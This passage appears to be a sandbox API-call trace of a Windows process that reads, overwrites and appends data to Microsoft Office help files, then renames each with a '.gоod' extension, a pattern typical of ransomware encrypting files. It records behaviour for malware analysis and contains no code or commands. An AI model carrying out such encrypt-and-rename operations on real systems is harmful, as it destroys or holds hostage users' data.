dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0245.779] ReadFile (in: hFile=0x858, lpBuffer=0x377a590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x377a590*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0245.782] CloseHandle (hObject=0x858) returned 1 [0245.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", lpFilePart=0x0) returned 0x40 [0245.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.782] GetFileType (hFile=0x858) returned 0x1 [0245.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.782] GetFileType (hFile=0x858) returned 0x1 [0245.782] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x5eeb8 [0245.782] WriteFile (in: hFile=0x858, lpBuffer=0x377b818*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x377b818*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0245.783] CloseHandle (hObject=0x858) returned 1 [0245.783] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", lpFilePart=0x0) returned 0x40 [0245.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0245.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.784] GetFileType (hFile=0x858) returned 0x1 [0245.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0245.784] GetFileType (hFile=0x858) returned 0x1 [0245.784] ReadFile (in: hFile=0x858, lpBuffer=0x377dac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x377dac8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0246.669] CloseHandle (hObject=0x858) returned 1 [0246.669] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", lpFilePart=0x0) returned 0x40 [0246.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0246.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0246.670] GetFileType (hFile=0x858) returned 0x1 [0246.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0246.670] GetFileType (hFile=0x858) returned 0x1 [0246.670] WriteFile (in: hFile=0x858, lpBuffer=0x36f1358*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36f1358*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0246.670] CloseHandle (hObject=0x858) returned 1 [0246.670] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", lpFilePart=0x0) returned 0x40 [0246.670] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.gоod", lpFilePart=0x0) returned 0x45 [0246.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0246.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b580a61, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b580a61, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x8f3c7bbe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5eec8)) returned 1 [0246.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0246.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs.gоod")) returned 1 [0246.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", lpFilePart=0x0) returned 0x44 [0246.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0246.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), fInfoLevelId=0x0, lpFileInformation=0x3851a78 | out: lpFileInformation=0x3851a78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6d7fcc, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6d7fcc, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x5eeea)) returned 1 [0246.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0246.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", lpFilePart=0x0) returned 0x44 [0246.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0246.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0246.674] GetFileType (hFile=0x858) returned 0x1 [0246.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0246.674] GetFileType (hFile=0x858) returned 0x1 [0246.674] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0246.674] ReadFile (in: hFile=0x858, lpBuffer=0x3851e90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3851e90*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0246.675] CloseHandle (hObject=0x858) returned 1 [0246.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", lpFilePart=0x0) returned 0x44 [0246.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0246.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0246.675] GetFileType (hFile=0x858) returned 0x1 [0246.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0246.675] GetFileType (hFile=0x858) returned 0x1 [0246.675] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x5eeea [0246.675] WriteFile (in: hFile=0x858, lpBuffer=0x3853128*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3853128*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0246.676] CloseHandle (hObject=0x858) returned 1 [0246.676] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", lpFilePart=0x0) returned 0x44 [0246.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0246.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0246.676] GetFileType (hFile=0x858) returned 0x1 [0246.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0246.677] GetFileType (hFile=0x858) returned 0x1 [0246.677] ReadFile (in: hFile=0x858, lpBuffer=0x38553e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38553e8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0247.117] CloseHandle (hObject=0x858) returned 1 [0247.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", lpFilePart=0x0) returned 0x44 [0247.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0247.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0247.117] GetFileType (hFile=0x858) returned 0x1 [0247.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0247.117] GetFileType (hFile=0x858) returned 0x1 [0247.117] WriteFile (in: hFile=0x858, lpBuffer=0x376cdb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x376cdb8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0247.117] CloseHandle (hObject=0x858) returned 1 [0247.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", lpFilePart=0x0) returned 0x44 [0247.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.gоod", lpFilePart=0x0) returned 0x49 [0247.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0247.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6d7fcc, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6d7fcc, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x8f819fc1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5eefa)) returned 1 [0247.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0247.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs.gоod")) returned 1 [0247.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", lpFilePart=0x0) returned 0x40 [0247.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0247.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), fInfoLevelId=0x0, lpFileInformation=0x39403a0 | out: lpFileInformation=0x39403a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf54f91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x982d0)) returned 1 [0247.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0247.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", lpFilePart=0x0) returned 0x40 [0247.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0247.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0247.120] GetFileType (hFile=0x858) returned 0x1 [0247.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0247.120] GetFileType (hFile=0x858) returned 0x1 [0247.120] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0247.120] ReadFile (in: hFile=0x858, lpBuffer=0x3940798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3940798*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0247.121] CloseHandle (hObject=0x858) returned 1 [0247.121] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", lpFilePart=0x0) returned 0x40 [0247.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0247.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0247.121] GetFileType (hFile=0x858) returned 0x1 [0247.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0247.121] GetFileType (hFile=0x858) returned 0x1 [0247.121] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x982d0 [0247.121] WriteFile (in: hFile=0x858, lpBuffer=0x3941a20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3941a20*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0247.123] CloseHandle (hObject=0x858) returned 1 [0247.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", lpFilePart=0x0) returned 0x40 [0247.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0247.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0247.123] GetFileType (hFile=0x858) returned 0x1 [0247.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0247.123] GetFileType (hFile=0x858) returned 0x1 [0247.123] ReadFile (in: hFile=0x858, lpBuffer=0x3943d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3943d70*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0247.152] CloseHandle (hObject=0x858) returned 1 [0247.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", lpFilePart=0x0) returned 0x40 [0247.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0247.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0247.153] GetFileType (hFile=0x858) returned 0x1 [0247.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0247.153] GetFileType (hFile=0x858) returned 0x1 [0247.153] WriteFile (in: hFile=0x858, lpBuffer=0x3942ad8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3942ad8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0247.153] CloseHandle (hObject=0x858) returned 1 [0247.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS", lpFilePart=0x0) returned 0x40 [0247.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.gоod", lpFilePart=0x0) returned 0x45 [0247.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0247.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f8664a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x982e0)) returned 1 [0247.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0247.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs.gоod")) returned 1 [0247.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", lpFilePart=0x0) returned 0x40 [0247.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0247.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), fInfoLevelId=0x0, lpFileInformation=0x39c0630 | out: lpFileInformation=0x39c0630*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c00)) returned 1 [0247.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0247.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", lpFilePart=0x0) returned 0x40 [0247.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0247.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0247.156] GetFileType (hFile=0x858) returned 0x1 [0247.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0247.156] GetFileType (hFile=0x858) returned 0x1 [0247.156] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0247.156] ReadFile (in: hFile=0x858, lpBuffer=0x39c0a28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x39c0a28*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0247.980] CloseHandle (hObject=0x858) returned 1 [0248.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", lpFilePart=0x0) returned 0x40 [0248.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0248.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0248.709] GetFileType (hFile=0x824) returned 0x1 [0248.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0248.709] GetFileType (hFile=0x824) returned 0x1 [0248.710] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 